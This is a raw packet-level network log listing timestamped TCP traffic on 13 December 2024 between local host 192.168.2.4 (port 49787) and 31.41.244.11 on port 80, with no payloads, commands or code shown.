Dec 13, 2024 01:51:19.815826893 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.815871954 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.815927982 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.817816973 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.817879915 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.817934990 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.817990065 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.819902897 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.819962025 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.820030928 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.820082903 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.821957111 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.822020054 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.822082043 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.822134972 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.824038029 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.824095964 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.824218988 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.824322939 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.826111078 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.826169968 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.826247931 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.826301098 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.828190088 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.828252077 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.828299046 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.828350067 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.830363035 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.830431938 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.830539942 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.830594063 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.832345963 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.832402945 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.832469940 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.832519054 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.834403992 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.834471941 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.834551096 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.834642887 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.836498022 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.836574078 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.836616039 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.836671114 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.838582993 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.838643074 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.838712931 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.838767052 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.840641975 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.840715885 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.840780973 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.840831995 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.842751980 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.842816114 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.842875004 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.842926979 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.844809055 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.844873905 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.844928026 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.844983101 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.846865892 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.846930027 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.846986055 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.847038984 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.848951101 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.849013090 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.849086046 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.849137068 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.851010084 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.851082087 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.851146936 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.851330042 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.853112936 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.853183031 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.853274107 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.853328943 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.855171919 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.855232000 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.855328083 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.855417013 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.857260942 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.857320070 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.857386112 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.857436895 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.859344006 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.859402895 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.859442949 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.859498978 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.861428976 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.861489058 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.861560106 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.861613035 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.863481998 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.863533974 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.863600969 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.863648891 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.865550995 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.865602970 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.865717888 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.865767956 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.867649078 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.867712975 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.867754936 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.867809057 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.869688988 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.869749069 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.869862080 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.869916916 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.871786118 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.871850967 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.871975899 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.872035980 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.873873949 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.873939037 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.873991013 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.874049902 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.875937939 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.876007080 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.876113892 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.876174927 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.877986908 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.878051043 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.878125906 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.878185987 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.880106926 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.880182028 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.880207062 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.880264997 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.882149935 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.882211924 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.882283926 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.882340908 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.884213924 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.884279966 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.884347916 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.884406090 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.886303902 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.886372089 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.886486053 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.886554956 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.888360977 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.888467073 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.888498068 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.888556004 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.890474081 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.890537977 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.890608072 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.890665054 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.892580032 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.892636061 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.892666101 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.892703056 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.894588947 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.894665956 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.894774914 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.894829988 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.896672010 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.896744013 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.896842957 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.896919966 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.898718119 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.898794889 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.898857117 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.898912907 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.900846004 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.900929928 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.900964975 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.901020050 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.902916908 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.903001070 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.903029919 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.903084993 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.905002117 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.905092001 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.905134916 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.905193090 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.907046080 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.907156944 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.907165051 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.907216072 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.909132957 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.909214020 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.994347095 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.994393110 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.994478941 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.994478941 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.994615078 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.994688034 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.994739056 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.994811058 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.996474981 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.996551037 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.996563911 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.996627092 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.997808933 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.997872114 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.997920990 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.997982025 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.999619007 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.999690056 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.999737978 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.999814034 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.001450062 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.001516104 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.001573086 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.001633883 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.003278017 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.003340006 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.003392935 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.003451109 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.005032063 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.005142927 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.005143881 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.005197048 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.006748915 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.006808043 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.006870031 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.006926060 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.008477926 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.008538961 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.008706093 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.008760929 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.010200977 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.010256052 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.010260105 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.010312080 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.011876106 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.011936903 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.011970043 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.012031078 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.013523102 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.013581991 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.013631105 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.013689041 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.015116930 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.015197992 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.015244007 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.015295982 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.016751051 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.016809940 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.016855955 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.016907930 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.018366098 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.018419981 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.018430948 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.018481016 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.019965887 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.020023108 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.020068884 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.020121098 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.021557093 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.021612883 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.021692991 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.021743059 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.023099899 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.023158073 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.023216009 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.023267984 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.024684906 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.024765968 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.024770021 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.024817944 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.026181936 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.026271105 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.026287079 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.026339054 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.027693033 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.027750969 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.027798891 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.027849913 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.029225111 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.029283047 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.029321909 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.029376984 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.030711889 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.030766010 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.030821085 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.030873060 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.032216072 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.032272100 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.032319069 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.032370090 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.033694029 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.033745050 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.033829927 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.033885956 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.035211086 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.035260916 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.035307884 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.035356045 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.036676884 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.036725044 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.036777973 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.036824942 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.038170099 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.038216114 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.038274050 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.038320065 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.039690018 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.039740086 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.039808035 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.039858103 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.041177034 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.041228056 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.041290045 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.041343927 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.042655945 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.042709112 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.042772055 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.042820930 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.044258118 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.044316053 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.044439077 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.044487953 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.046540022 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.046642065 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.046699047 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.046751022 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.047739029 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.047795057 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.047801018 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.047843933 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.048620939 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.048680067 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.048775911 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.048827887 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.050116062 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.050173998 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.050245047 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.050293922 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.051597118 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.051656008 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.051712990 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.051769972 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.053077936 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.053133011 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.053173065 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.053224087 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.054600954 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.054651976 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.054723978 CET	80	49787	31.41.244.11	192.168.2.4
